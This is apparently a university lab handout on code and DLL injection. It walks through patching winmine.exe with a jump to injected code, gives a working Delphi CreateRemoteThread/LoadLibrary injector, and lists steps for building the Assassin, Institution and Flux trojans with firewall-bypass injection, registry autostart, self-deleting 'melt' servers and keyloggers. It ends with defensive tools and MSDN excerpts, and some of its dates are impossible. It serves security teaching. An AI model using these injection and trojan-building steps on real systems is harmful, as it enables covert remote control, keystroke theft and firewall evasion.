Você está na página 1de 64

ECE 4112: Internetwork Security

Lab ∞: Code/DLL Injection

Group Number: _____________

Member Names: ________________ __________________

Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure to turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.

Date: November 31, 2004


Date Due: February 29, 2008
Last Revised: November 27, 2004

Written by: Andrei Bersatti and Brandon Harrington

Goal: The goal of this lab is to examine various methods of Code and DLL injection
as well as countermeasures to stop such attacks.

Summary: This lab will introduce the concepts of Code and DLL Injection as
well as explore Trojans that apply these techniques, how Trojans use them, and some
defensive techniques.

Background and Theory: Code and DLL injection refer to a method


for attackers to manipulate programs and processes to execute another program. DLL
injection provides a manner for attributing the malicious .dll to running processes.
Processes are tasks that are being handled by the operating system. DLL are Dynamic
Link Libraries, are shared code that may be executed by a running process. There are
two kinds of injection: static and dynamic injection. Static injection occurs prior to
program execution. Dynamic injection occurs when processes are loaded into memory.

Prelab Questions: None.

1
Lab Scenario: During this lab we will be working with a copied image of
your winXPPro virtual machine in case the windows installation is damaged during the
lab. Make sure vmware is not running while copying the image. To do this, please
follow the instructions below.

On the Redhat 8.0 host machine:


# mkdir /root/winXPPro-copy
# cp –r /root/winXPPro/* /root/winXPPro-copy/

After waiting ~5 minutes, the copying will finish. Now vmware must be configured to
use the new image. Start up vmware. Click on File → New… → New Virtual Machine.

Warm Up: Processes and Dynamic Link


Libraries
First we will try to get an idea of Processes in an Operating System. Processes are tasks
that are being ran and managed by the operating system.

For this lab, you will have to unzip in your WindowsXP machine the file procexpnt.zip
into a directory of your choice. This will unzip the files for Sysinternal’s Process
Explorer, free software that monitors current processes.

Now press CTRL + ALT + DEL from within the WindowsXP machine. A Windows
Task Manager window should appear. Next, click on the Processes tab. This lists all the
processes that are currently running in windows. 'Image Name' shows the process name.
'User Name' shows the user in the Windows XP machine that created the process.

Now we will use a process monitoring software called Sysinternals Process Explorer (PE)
(http://www.sysinternals.com/ntw2k/freeware/procexp.shtml).

Run PE by executing procexp.exe. A message asking you to configure a symbol table


and threads might appear the first time you run the program. Just press OK and ignore
this message. Note the PID field, this is the Process ID, it is a number used by the
operating system to identify the process.

QWU.1: Write down 5 processes you see, the user that has control of the processes, the
description given by PE, and the PID.

Make sure the PE window is active and press CTRL + D. This will give you a view of
the DLL libraries called by each process. DLL files are dynamic link libraries, a
collection of small programs that can be executed but only by means of a running process
or another executable function. The bottom line, however, is that .dll files contain code
that can be executed.

2
Make sure you scroll all the way to the bottom of both, the process window and the dll
window. Now start Internet Explorer. While you do that, watch what happens in the
Process Explorer Window. It should be showing the IEXPLORE.EXE process. When it
shows something in green it means something is being loaded. When it shows something
in red it means it is being unloaded.

Select the IEXPLORE.EXE process with your mouse and look at the DLL window at the
bottom of PE.

QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer. Try to
familiarize yourself with the .dll's loaded by IE (it is a lot, so do not memorize them, just
familiarize with the dll's as you will see them again and again in this lab).

Section 1: Static DLL Injection


The following part of the lab was developed based on IDESpinner's Video Tutorial
available at: http://www.astalavista.com/?section=dir&cmd=file&id=2734

Now we will explore Code Injection. Code Injection can occur in one of two ways,
statically (Static Code Injection) or dynamically (Dynamic Code Injection). Static Code
Injection occurs prior to execution. A file is altered, by 'injecting' a jump at the
beginning of the filespace. This jump directs to arbitrary code written by an attacker into
available space of the filespace of a program.

We will now explore static code injection. For this purpose, we will manipulate the
Windows game Mineswipper so that before it runs it displays a message saying “I am a
trojan.”

First, go to C:\WINDOWS\system32 and make a copy of winmine.exe into a file with a


different name just in case (it is always good to have a security backup).

In order to manipulate winmine.exe, we will use OllyDbg, “a 32-bit assembler level


analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it
particularly useful in cases where source is unavailable.” You may get it from
http://home.t-online.de/home/ollydbg.

Unzip odbg110.zip into a folder of your choice.

Run OllyDbg.exe from the folder in which you installed OllyDbg. The first time you run
OllyDbg you might get a message asking you whether you want to update on the library
(.dll) files. Just say no.

Click Open, and open winmine.exe. What you will get in OllyDbg is assembly code of
winmine.exe (yes, this is reverse engineering).

3
On the right part of the screen you will see the Register values. The EIP register is a
pointer to the next command that will execute. In this case it should store the Module
Entry Point.

Q1.1: Write down the Winmine entry point address.

The memory space of winmine.exe contains a lot of useful information, but it also
contains areas with no useful information whatsoever. These areas are full of noop
operations (\x00's). These areas could be modified to add code without corrupting
winmine.exe.

In OllyDbg, on the left upper window (right below the menu), scroll down until you find
a big group of noops put together where you have enough space to add your code. The
place you find is called a 'cave', as seen in Figure 1.1.

Figure 1.1. A Cave show in OllyDbg.

Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.

4
Now in the 'cave' we found we will add a Message Box call.

The function call is:

MsgBoxA(0,”I am a Trojan”,”I am a Trojan”,0)

So this is the ASM code for doing that:

Push 0
Push “I am a Trojan”
Push “I am a Trojan”
Push 0
Call User32.MessageBoxA

In Machine Code we go to an even lower level...we must allocate space for the “I am a
Trojan” string and then push the address of this allocated memory by doing a
Push <Address>

We will now add the code. Highlight a bunch (about 20) of NOOPs from the cave. Right
click and select Binary->Edit. Now on the Ascii field simply type in “I am a Trojan.”
Figures 1.2 and 1.3 show these steps.

Figure 1.2. Mouse right-click menu.

5
Figure 1.3. Binary Edit window.

You will now get some garbage on OllyDbg. Do not worry. Olly needs to reanalyze this
code. Press CTRL + A to analyze the code. After this, you should see “I am a Trojan” in
some address.

Q1.3: Write down the address where you added the string.

Now below the address where you added your string, double click on one of the “DB 00”
fields. You will get an Assemble at <Address> window.
Type in:

push 0

and press Assembler. A new Assemble at <Address+1> will appear. Now type in:

push MYADDRESS

where MYADDRESS is the address where your string is located (your answer to Q1.5).
In the next address you should type:

push MYADDRESS

again (because you are pushing the same string 2 times, once for the header of the box
once for the message in the box). On the next address we type in:

push 0

again. Finally we have to call the actual function call, so on the next address type:

call user32.MessageBoxA

Figure 1.4 shows the Assemble window where you can input the instructions.

6
Figure 1.4. Assemble window.

Q1.4: Write the address where you added the first 'push 0'.

Now press the '*' key in your numpad, this will take you to the top of the window (the
origin). Select the first 6 instructions, highlight them and then press CTRL + C (since we
will be modifying some commands, we want to make sure we have a backup). Paste this
code into notepad.

Now we will overwrite some code. Double click on the Origin instruction (the first
instruction) and type in:

JMP CODEADDRESS

where CODEADDRESS is the address where your code starts (your answer to Q1.6).

You will notice that more than one line got edited. The edited lines will be in red.
Compare the first few lines with your copy in Notepad and delete the lines that are
duplicated from Notepad. The lines that are not duplicated we will need to add again
somewhere.

Q1.5: Write the address of the first line after the JMP (The first NOOP)

It is important to keep this address because what the program will do is read the EIP
register. This points to the line where we added the JMP. The JMP will redirect the PC
to the new code. The new code will execute, and then we want to jump back to the
address you just wrote down so that normal execution continues as if nothing had
happened. However, before we return to normal execution, we have to add the code that
we overwrote. So we add this at the end of our code before we jump back to the
beginning of the code.

Go to back to the origin. Highlight the origin instruction, and right click with your
mouse. Then press Follow. This will take you to the address to which the origin jumps.
If you have done everything correctly so far, this should take you to the beginning of
your code (The first push 0).

7
Now we need to add the code that was overwritten (you have it in your notepad,
remember?). Add the remaining instructions from notepad at the end (immediately after
the Call MessageBox command).

Note: If it says something like 'PUSH winmine.1234567' in notepad, just type in 'push
1234567').

Now at the last line of the new code insert the command

JMP SECONDADDRESS

where SECONDADDRESS is the address of the second line, or the line after the origin
(your answer to Q1.7).

Now right click and go to Copy to executable -> All Modifications.

On the window that appears select:


Copy All
A new window will appear. Click yes to save modifications. Save as a different name
(winminealtered.exe or something like that).

Now press Run (the play button at the top of Olly). The Message Box should have
appeared and then Winmine.

SS1.1: Take a screenshot of your Message Box on top of Winmine and turn in with
the lab report.

We have already seen how static code injection works. The previous example could have
been used to load a .dll library rather than displaying a message box. That would have
been static dll injection.

Q1.6: Give one scenario where static dll injection could be used to trick a user into
giving a malicious program permission to access the internet (hint: think static injection
and peer to peer networks).

Section 2: Dynamic DLL Injection


Now we will look at a technique more widely used by trojans: dynamic dll injection.
Static injection occurred prior to program execution. Dynamic injection occurs after a
program has been executed. After a program has been executed, a process is created in
the operating system. When an attacker attempts to load code into the process memory
space, then the attacker is using dynamic injection. When .dll libraries are loaded
through dynamic injection, the process is known as dynamic dll injection.

8
Remember our section exploring processes?

We will now try to load a .dll into a process.

For this we will install DiamondCS APM (Advanced Process Manipulation).


(http://diamondcs.com.au/index.php?page=apm).

Execute apm.exe.
Install into a directory of your choice (c:\...yourchoice\...\APM).
It should say installation was successful. Click OK.
It should now show you the window of the directory into which it installed APM.

Now start APM.

Once again you should see a list of running processes along with their Process ID
number. Select explorer.exe.

Make sure apm.dll is not present.


If it is for some strange reason, right click on top of it and select Unload DLL.

Now right click on top of explorer.exe on the APM window and select Load DLL.
Now select apm.dll from the APM directory.

It should show success.

Now use PE to make sure the dll has been loaded.


Q2.1: Write the description, Company Name, and version PE shows of apm.dll loaded
into explorer.exe.

Advanced Process Manipulation lets you load dlls into processes

So how are .dlls injected dynamically anyway?

Microsoft's Platform SDK provides some API calls to manipulate processes. Let's look at
a couple of interesting ones. Their specifics are found in Appendix A. Make sure you
read it and understand it before proceeding:

OpenProcess: opens an existing process object

LoadLibrary: maps the specified executable module into the address space of the calling
process (yes, a .dll is a module)

VirtualAllocEx: reserves or commits a region of memory within the virtual address space
of a specified process

9
WriteProcessMemory: writes data to an area of memory in a specified process. The
entire area to be written to must be accessible, or the operation fails.

CreateRemoteThread: creates a thread that runs in the virtual address space of another
process

So by now you should know that processes are not too hard to intrude.

A program, when executed, can dynamically load a dll module into a running process by
doing the following:

Open a process using OpenProcess. One of the parameters is the Process ID which you
can get from using PE from the previous section. Next, Allocate memory using
VirtualAllocEx (one of the parameters of VirtualAllocEx will be the process opened by
OpenProcess)

Write something into the memory space we allocated within the process. We will pass in
the Process into which we want to write, the address of the memory into which we want
to write (we already have all of those), the number of bytes to write, and a pointer to the
DLL we want to load.

Now we will create a new thread which will call a function. The address of the function
is the address of LoadLibrary and as parameters we pass the address of the memory we
allocated...so the process will call the code we injected into the process. We do this using
CreateRemoteThread and passing in the addresses.

Follows a simple example created by Aphex: (www.iamaphex.net)

program Project1;

uses
Windows;

var
PID, BytesWritten, Process, Thread, ThreadId: dword;
Paramaters: pointer;
DLL: pchar;

function xCreateRemoteThread(hProcess: dword; lpThreadAttributes:


Pointer; dwStackSize: dword; lpStartAddress: Pointer; lpParameter:
Pointer; dwCreationFlags: dword; lpThreadId: dword): dword; stdcall;
external 'RT.dll';
function xVirtualAllocEx(hProcess: dword; lpAddress: Pointer; dwSize:
dword; flAllocationType: dword; flProtect: dword): Pointer; stdcall;
external 'RT.dll';
function xVirtualFreeEx(hProcess: dword; lpAddress: Pointer; dwSize:
dword; dwFreeType: dword): boolean; stdcall; external 'RT.dll';

begin

10
DLL := 'c:\Inject\Library.dll'; //full path!
PID := 1784; //process id!
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Paramaters := xVirtualAllocEx(Process, nil, 4096, MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(Process, Paramaters, Pointer(DLL), 4096,
BytesWritten);
Thread := xCreateRemoteThread(Process, nil, 0,
GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'),
Paramaters, 0, ThreadId);
WaitForSingleObject(Thread, INFINITE);
xVirtualFreeEx(Process, Paramaters, 0, MEM_RELEASE);
CloseHandle(Thread);
CloseHandle(Process);
end.

Now look at Appendix B. In there there is code for a DLL Injector which injects
DLL.dll. (http://www.codeproject.com/dll/DLL_Injection_tutorial.asp).

Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.

Q2.3: In what register is the pointer to LoadLibraryA()?

We have compiled the code for you. Look into the Injector_src/EXE/Debug folder and
Run EXE.exe (make sure DLL.dll is in the right directory, you can find this directory in
the source code for EXE.cpp).

As soon as EXE.exe is executed an Internet Explorer window should come up.

The DLL in this example is actually not loaded because we are using Windows XP and
there is a security issue with the isBadWritePtr() function. However in earlier versions of
Windows it would have injected successfully.

Now we will look at the code for a different injector. APISPY32.


(http://www.internals.com/articles/apispy/apispy.htm). The code may be found on
Appendix C. APISPYLD.CPP creates a CdebugInjector object which does the actual
injecting. So open DebugInjector.cpp. Now go all the way down until you find the
PlaceInjectionStub(void) function.

Q2.4: Describe a) where LoadLibraryA is loaded, b) what WriteTargetMemory function


does (look for the function in the same file), and c) why are we changing the EIP
register? (hint, remember our static injection?).

11
Now let us see if the code we looked at works. Execute APISPYLD.exe from the
APISPY32 directory and select the Internet Explorer iexplore.exe. Make sure PE is open
and press Run. Observe the IE process that appears and the .dll it loads
(APISPY32.DLL).

Section 3: Trojans and Firewall Evasion


How is can this be used? DLL injection and API hooking provides a way to piggy back
the malicious code onto a process. This gives attacker two advantages: secrecy and trust.
While secrecy can be obtained through many different methods, trust is the difficult part.
By DLL injection, trusted applications can be exploited and this trust can be taken
advantage. To understand the implications of exploiting trusted implications, think about
the following scenario. Suppose your home computer was compromised and a DLL was
injected into iexplorer.exe or outlook.exe. In this attack, duplicate data could be sent out
to a remote data collection server. To most firewall programs, the outbound data would
look normal. Data packets are sent out by a “trusted” program over their ordinary ports.
Even the user would not acknowledge any fault in the program. However, the duplicate
data could easily be farmed. Even passwords and usernames on secure sites could be in
jeopardy. Since the API calls happen prior to encryption, (even the functions that encrypt
the data are susceptible to DLL injection) plain text versions of this data can be sent.

CODE/DLL INJECTION'S THREAT TO SECURITY

Now that we have already seen that a dll can be injected into a process, we will now see
why and how this is a threat to security. Many trojans, spyware, and malware in general
use injection in order to override a Firewall. They do this by injecting code into a process
that has outbound privileges set in the firewall. For example, Internet Explorer has
privileges to send and receive data. So if a Key Logger captures your credit card number
and then a trojan injects code into Internet Explorer to send the information captured by
the Key Logger to some remote server, then the Firewall will not be alarmed because it is
only Internet Explorer sending data. “Internet Explorer” could further request an update
of the trojan or download many more trojans. Scary huh?

The following section may optionally be carried out in a computer with installation
privileges and access to the internet. It will test your firewall. If you do not have access
to such computer, continue on in your Virtual Machine but note that the Firewall tester
may not be successful.

We will now test how effective a Firewall is against DLL Injection.

Let's install Sygate Personal Firewall (trial)


(http://smb.sygate.com/products/spf_pro.htm). Do this regardless of whether you test the
firewall at a different computer or in your Virtual Machine, you will need this Firewall
later. Execute pspf.exe. The Sygate Personal Firewall Pro Setup screen will come up.
Click Next. Accept the license agreement. Select a Directory in which to install the
firewall (C:\...yourchoice...\...\Sygate\SPF). Keep on going with Next until it says

12
“Updating System”. Now wait while it installs. Then you will have to restart the XP
machine.

Immediately as soon Windows XP starts you may get some Sygate Personal Firewall Pro
access permission requests. (“so and so is tryint to broadcast to blah blah blah...”). For
now just click NO in all of those, but make sure “Remember my answer” is NOT
checked. On the Register window press Register Later.

Now we will install Atelier Web Firewall Tester (AWFT)


(http://www.atelierweb.com/awft/). Unzip awft31.zip into your directory of choice.
Once that is done, run the setup file. Click yes to install. Click Next. Select a
destination folder. Keep on clicking next until it installs. Finish. Select to launch the
Tester upon completion.

The tester has 6 tests. Tests 2 through 6 use DLL Injection


(http://www.atelierweb.com/awft/index.htm). Run these tests. See what the final score is
of your Firewall vs. AWFT. What the tests try to do is basically use DLL injection to use
Internet Explorer (or any process with privileges on port 80 for 5 and 6) in order to access
the internet bypassing firewall security. AWFT makers claim that most firewalls will
fail.

Q3.1 (May be extra credit depending on Dr. Owen): What was the score of your
Firewall? A High score for your firewall means your firewall is good. Can your firewall
stop dll Injected processes?

Now let us look at some trojans and see why DLL Injection is dangerous.

Trojan Examples

First we will explore Assassin 2.0 (http://www.evileyesoftware.com/ees/content.php?


content.11). This is a trojan that can use DLL Injection to bypass firewalls.

Unzip the file YXNzYXNpbjIuemlw.zip. The filename is also the password of the zip
file. Now click on the client.exe.

Click Yes if you agree to the disclaimer.

Close the FTP Updater window.

Go to File-> New Server

On the window that pops up, click on Server Type.

Change the exe name to anything....we suggest something easy to remember i.e.
Killer.exe. Make sure Firewall Bypass is enabled (this is so that the DLL Injection
feature is installed on the server).

13
Inject to should specify Internet Explorer. That means that the server will inject Internet
Explorer.

Go to Direct Connection and click on Use Safety Port. This is so that the server can
connect directly to your machine. Type port 1234 and the IP address of your client
(WindowsXP Copy).

Now click on Startup Methods and select start on Windows Registry Startup – Run. For
Key enter test.exe.

Now click on Extra Settings. Leave everything as is except that you must enter a
password. Enter 'password' as your password.

Now click on Save and save the server as an .exe file (i.e. Myserver.exe). Now use
netcat, as described in Appendix D, to transfer the server to the XPCopy machine.

Now on the client close the Server Creator window.


Click on the Direct Connect (the first icon with the blue exclamation sign).
On IP address enter your server IP address. On port enter 1234. Enter the password you
selected. On YOUR IP enter the client IP. On port enter 1234.

Click on Add Port on the first icon in the toolbar above the Menu whose first line says
Plugin Settings.
Enter 1234 (or whatever port you had selected).
Now go to Options in the main menu, then click on Settings. Select the Passwords tab.
Enter a new password as 'password' or whatever password you used in creating the
server.

Now a connection could have been made.

For now we are only interested in the injected DLLs. So run the server on the actual
machine where the client is (WindowsXP machine). Now go to Process Explorer. You
should have an IEXPLORER process. If you have more than one you may need to look
at more than one. Notice that a 0.dll (or 1.dll or 2.dll) has been loaded by Internet
Explorer. “What is this?” You may ask. Go to the Assassin directory. And then go to
the dll directory. Hmmm....guess what you can find in there.....this is evidence of the dll
injection. The 0.dll in actuality comes from there but is not loaded from there. It is
loaded from a directory that was installed by the Assassin server under C:\Windows\Win
Types (or whatever directory was specified by you when creating the server). Internet
Explorer should now be trying to establish a connection with the outside world.

SS3.1: Submit a screenshot of PE showing 0.dll.

Now we will explore Institution 2004 by Aphex (iamaphex.cjb.net).

14
Unzip the file I2K4-0.4.0.zip into a directory of your choice in your main Windows XP
machine. Now run client.exe.

Select File New Server.

Enter the IP address of the machine you are using. This will be the client.

Enter a numeric Port: 1234 is recommended.

Make sure you write down what port you will be using:

QUESTION: Write Down the Port you will be using

Enter a unique name for the server: Enter any name.

Enter a name for the service: Enter any name.

Click yes to copy the server file into the system folder when installed.

Now select a destination for the server file and a name (iserver.exe is recommended).

Now you will have to send the server to your Windows XP Copy machine using netcat.

In the Windows XP Copy machine, run the server.

In the Windows XP Client machine, in the Institution Client select Options and Service
Port. Enter the same number your wrote down (the one you used for the server).

Now go to Options and set Listen Active to on.

Any time soon the client should detect a connection with the server. If you right click in
the connection you can now do all kinds of stuff with the server such as manipulating
files, manage processes (if you right click it will give you the option of “patching” a
process and you can select a file to patch it with...sound familiar?), manage the registry,
etc. We will not go into detail into this functions since the purpose of this lab is to
understand code injection, not to learn to use this RAT trojan.

Now we will switch roles. Now the XP machine will be the server and the XP Copy
machine will be the client. Use netcat to send the I2K4-0.4.0.zip file to the XP Copy
machine. Unzip the machine and follow the above procedures to produce a server file
and send it to the XP Machine. Then, configure the client in the XP Copy machine
properly.

The server should be able to establish a connection with the client regardless of the
firewall or at least it will create a process by the name of the service that was established
that will try to get privileges from the Firewall. Look at the Firewall log, it should show

15
your service name (service.exe) as requesting privileges. Notice a process was started
with the name for the service you selected in the client. This process creates the
connection.

SS3.2: Take a screenshot of the Firewall showing this process spawned by


Institution.

Now we will play with Flux (http://www.evileyesoftware.com/ees/content.php?


content.46). Flux is a RAT that uses dynamic code injection (not DLL injection) to
bypass firewalls. It injects connection code directly into processes, making it harder to
detect than DLL injection. It may use MSN Messenger, Internet Explorer, or any
specified application (Kazaa, etc.) to inject into.

Unzip Zmx1eC56aXA.zip into a directory of your choice. It will ask you for a password,
the password is the name of the zip file without the .zip (Zmx1eC56aXA). It is cap
sensitive.

Now, click on Flux. Read the disclaimer and click I agree (if you agree).

Go to File and select New Server.

This will do guess what....create a New Server.

In Installation field, select Windows. Enter a filename for the server file. Let’s make it
easy, lets use “myfluxserver.exe”.

In the Startup field select:


Autostart with windows (this will make the server start everytime a computer is
booted up). You must also supply a key that will be added to the
registry...we choose “fluxisdangerous.”

Persistant server (this will make the server hard to delete/remove)

Melt server (this will make the server file to be deleted once it is executed.

Leave the Connection port as is, but you have to add a password. We suggest the hard-
to-guess word “password.” On Connect to enter the IP address of the XP machine you
will use as Client.

Under Identification select


your group number as Group## (example...Group: Group31)
and the same for under Name.

16
OK, now on to the important part. The “Firewall bypassing” part. Guess what this is...
CORRECT, it is using code Injection (not DLL injection in this case) to bypass a
firewall.

Make sure Inject to has Default Brower and MSN Messenger checked.
Now we are ready to create the server. Uncheck the Compress to server and click Save.

Now you may close the New Server window by pressing the X at the top right corner.
Now click on Options and Settings and add your password into the Password field.
Check the “Enable keylogger on connect.” Leave the other fields as is (The port should
be the default 2001 and the MSN style notifier and Colour activity should be checked.
Timeout set to 15000 and double clicking brings up file manager.

Now the server was created on your Flux directory as server.exe.

Now you will need to send it to your other XP machine in VMWare. In order to do this
you may use netcat, the TCP/IP swissknife.

Q3.2: Write the size of the created server file.

Now run server.exe from the destination machine. Since we had selected the “melt”
option, the file will delete itself after installation.

Once this is done, and if the client is running in the other XP machine, you will receive a
message MSN style indicating SERVER has logged on.

Now you can do all sorts of stuff with the Client like log keystrokes and capture
screenshots. But that is not the purpose of this lab. The purpose of this lab is to show
how Injection is used. We have seen how a connection is established without a firewall.
Now lets try to do this a different way. Let’s install a Firewall on the Server machine.
Use netcat, as shown above, to transfer the flux zip file into the previous Source machine.
We will now switch roles, the previous Server will now be the Client and the previous
Client will now be the server. Our client is now a machine with a Firewall.
Follow the same procedures to set up the client and the server. Now as soon as the server
runs on the firewall-protected machine, Internet Explorer will launch.

Q3.3: Why does Internet Explorer launch as soon as the server is executed?

However a connection will not succeed. “But I thought Flux did injection to override the
firewall?” you may ask. Yes it does. It actually does get through the firewall. What

17
does not get through the firewall is the data sent back by Flux from the client. To verify
this open up the Firewall. Click on Logs. You should see some incoming packets from
the client blocked. But outgoing packets are allowed.

Q3.4: Why are outgoing packets allowed?

SS.3.3: Take a screenshot of the Firewall log showing the blocked incoming packets and
non-blocked outgoing packets and turn in with your lab report.

Section 4: Defensive Measures


Now we will look at some defensive techniques that can be employed.

The 0.dll injected dll should still be loaded into Internet Explorer.

Run DiamondCS APM.

Now select the .dll that we so much hate and select Unload DLL. This could kill the
Iexplorer process. That's OK. Run DiamondCS APM is a good tool to unload dll's from
processes. If Iexplorer was killed close DiamondCS APM and run it again and run
Internet Explorer again. The dll should not appear anymore (at least until the next boot).

Now we will look at another security tool that may be used against these injectors.

Find the file tds3setup and execute it. This will install DiamondCS TDS-3 Anti-Trojan
software. This may be found from the DiamondCS website at http://diamondcs.com.au.

Install the TDS-3 Anti Trojan.

It will ask you if you want to restart your computer. Say yes.

Once your computer restarts the first thing you will see is IE loading. We know why that
is (we still have the trojans installed). Check this with PE. Defense #1, Firewall will
warn you that the process started by Institution is trying to establish a connection. Say
no. Then it says IE wants a connection. It’s natural that you would say yes (if you did
not know any better) so say yes. By the way, on the Firewall, click on register later.

Now run TDS-3.

18
It will say your data needs to be updated. Do not worry about this. So Institution should
have been detected. But wait....Assassin and Flux are nowhere to be found.

But wait....are you going to give up THAT easily?

Let's try again with a different configuration...

Click on Configuration.

On the Startup tab make sure everything is checked except for Boost TDS Process and
Boost TDS Token. Select Minimize TDS to Windows Taskbar, Run at Windows Startup
yes, and Startup State normal. Save.

Now click on the Scan Control button.

Select the Scan Options Tab

Make sure everything is checked except for:


Scan for Clients\EditServers
Scan NTFS
Show all NTFS

Now go to Generic Detection

Make sure Anti-Trojan is selected but Anti-Worm is not. Set sensitivity almost to High
but not completely (one block less than completely high).

Go back to Scan options, save configuration and exit.

You might have to reload TDS. Now go to System testing and select Full System scan.
Now you should be able to detect everything.

SS4.1: Take a screenshot of TDS detecting Assassin DLLs and turn in with your lab
report.

You may now select to delete some files.

Special thanks are in order to Nautilus (http://home.arcor.de/scheinsicherheit/dll.htm) for


his very helpful website and for providing us with directions as to what Trojans use
code/dll injection and where to find them.

19
Appendix A: Microsoft MSDN Function
Specifications

20
The following method descriptions were obtained from Microsoft’s MSDN Network
(http://msdn.microsoft.com).

OpenProcess
The OpenProcess function opens an existing process object.

HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);

Parameters

dwDesiredAccess
[in] Access to the process object. This access right is checked against any security
descriptor for the process. This parameter can be one or more of the process
access rights.
bInheritHandle
[in] If this parameter is TRUE, the handle is inheritable. If the parameter is
FALSE, the handle cannot be inherited.
dwProcessId
[in] Identifier of the process to open.

Return Values

If the function succeeds, the return value is an open handle to the specified process.

If the function fails, the return value is NULL. To get extended error information, call
GetLastError.

Remarks

The handle returned by the OpenProcess function can be used in any function that
requires a handle to a process, such as the wait functions, provided the appropriate access
rights were requested.

When you are finished with the handle, be sure to close it using the CloseHandle
function.

Example Code

21
For an example, see Taking a Snapshot and Viewing Processes.

Requirements

Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation,


Windows Me, Windows 98, or Windows 95.
Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server.
Header: Declared in Winbase.h; include Windows.h.
Library: Link to Kernel32.lib.
DLL: Requires Kernel32.dll.

See Also

AssignProcessToJobObject, CloseHandle, CreateProcess, CreateRemoteThread,


DuplicateHandle, GetCurrentProcess, GetCurrentProcessId, GetExitCodeProcess,
GetModuleFileNameEx, GetPriorityClass, Process and Thread Functions, Processes
and Threads Overview, ReadProcessMemory, SetPriorityClass,
SetProcessWorkingSetSize, TerminateProcess, VirtualProtectEx,
WriteProcessMemory

LoadLibrary
The LoadLibrary function maps the specified executable module into the address space
of the calling process.

For additional load options, use the LoadLibraryEx function.

HMODULE LoadLibrary(
LPCTSTR lpFileName
);

Parameters

lpFileName
[in] Pointer to a null-terminated string that names the executable module (either
a .dll or .exe file). The name specified is the file name of the module and is not
related to the name stored in the library module itself, as specified by the
LIBRARY keyword in the module-definition (.def) file.

If the string specifies a path but the file does not exist in the specified directory,
the function fails. When specifying a path, be sure to use backslashes (\), not
forward slashes (/).

22
If the string does not specify a path, the function uses a standard search strategy to
find the file. See the Remarks for more information.

Return Values

If the function succeeds, the return value is a handle to the module.

If the function fails, the return value is NULL. To get extended error information, call
GetLastError.

Windows Me/98/95: If you are using LoadLibrary to load a module that contains a
resource whose numeric identifier is greater than 0x7FFF, LoadLibrary fails. If you are
attempting to load a 16-bit DLL directly from 32-bit code, LoadLibrary fails. If you are
attempting to load a DLL whose subsystem version is greater than 4.0, LoadLibrary
fails. If your DllMain function tries to call the Unicode version of a function,
LoadLibrary fails.

Remarks

To enable or disable error messages displayed by the loader during DLL loads, use the
SetErrorMode function.

LoadLibrary can be used to map a DLL module and return a handle that can be used in
GetProcAddress to get the address of a DLL function. LoadLibrary can also be used to
map other executable modules. For example, the function can specify an .exe file to get a
handle that can be used in FindResource or LoadResource. However, do not use
LoadLibrary to run an .exe file, use the CreateProcess function.

If the module is a DLL not already mapped for the calling process, the system calls the
DLL's DllMain function with the DLL_PROCESS_ATTACH value. If DllMain returns
TRUE, LoadLibrary returns successfully. If DllMain returns FALSE, the system
unloads the DLL from the process address space and LoadLibrary returns NULL.

It is not safe to call LoadLibrary from DllMain. For more information, see the Remarks
section in DllMain.

Module handles are not global or inheritable. A call to LoadLibrary by one process does
not produce a handle that another process can use — for example, in calling
GetProcAddress. The other process must make its own call to LoadLibrary for the
module before calling GetProcAddress.

If lpFileName does not include a path and there is more than one loaded module with the
same base name and extension, the function returns a handle to the module that was
loaded first.

23
If no file name extension is specified in the lpFileName parameter, the default library
extension .dll is appended. However, the file name string can include a trailing point
character (.) to indicate that the module name has no extension. When no path is
specified, the function searches for loaded modules whose base name matches the base
name of the module to be loaded. If the name matches, the load succeeds. Otherwise, the
function searches for the file. The search order used depends on the setting of the
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
value.

Windows 2000/NT and Windows Me/98/95: The SafeDllSearchMode value does not
exist.

If SafeDllSearchMode is 1 (the default), the search order is as follows:

1. The directory from which the application loaded.


2. The system directory. Use the GetSystemDirectory function to get the path of
this directory.
3. The 16-bit system directory. There is no function that obtains the path of this
directory, but it is searched.

Windows Me/98/95: This directory does not exist.

4. The Windows directory. Use the GetWindowsDirectory function to get the path
of this directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

If SafeDllSearchMode is 0, the search order is as follows:

1. The directory from which the application loaded.


2. The current directory.
3. The system directory. Use the GetSystemDirectory function to get the path of
this directory.
4. The 16-bit system directory. There is no function that obtains the path of this
directory, but it is searched.

Windows Me/98/95: This directory does not exist.

5. The Windows directory. Use the GetWindowsDirectory function to get the path
of this directory.
6. The directories that are listed in the PATH environment variable.

Windows XP: The default value of


HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode is
0 (the current directory is searched before the system and Windows directories).

24
The first directory searched is the one directory containing the image file used to create
the calling process (for more information, see the CreateProcess function). Doing this
allows private dynamic-link library (DLL) files associated with a process to be found
without adding the process's installed directory to the PATH environment variable.

The search path can be altered using the SetDllDirectory function. This solution is
recommended instead of using SetCurrentDirectory or hard-coding the full path to the
DLL.

If a path is specified and there is a redirection file for the application, the function
searches for the module in the application's directory. If the module exists in the
application's directory, LoadLibrary ignores the specified path and loads the module
from the application's directory. If the module does not exist in the application's
directory, LoadLibrary loads the module from the specified directory. For more
information, see Dynamic Link Library Redirection.

If you call LoadLibrary with the name of an assembly without a path specification and
the assembly is listed in the system compatible manifest, the call is automatically
redirected to the side-by-side assembly.

The Visual C++ compiler supports a syntax that enables you to declare thread-local
variables: _declspec(thread). If you use this syntax in a DLL, you will not be able to
load the DLL explicitly using LoadLibrary or LoadLibraryEx. If your DLL will be
loaded explicitly, you must use the thread local storage functions instead of
_declspec(thread).

Example Code

For an example, see Using Run-Time Dynamic Linking.

Requirements

Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation,


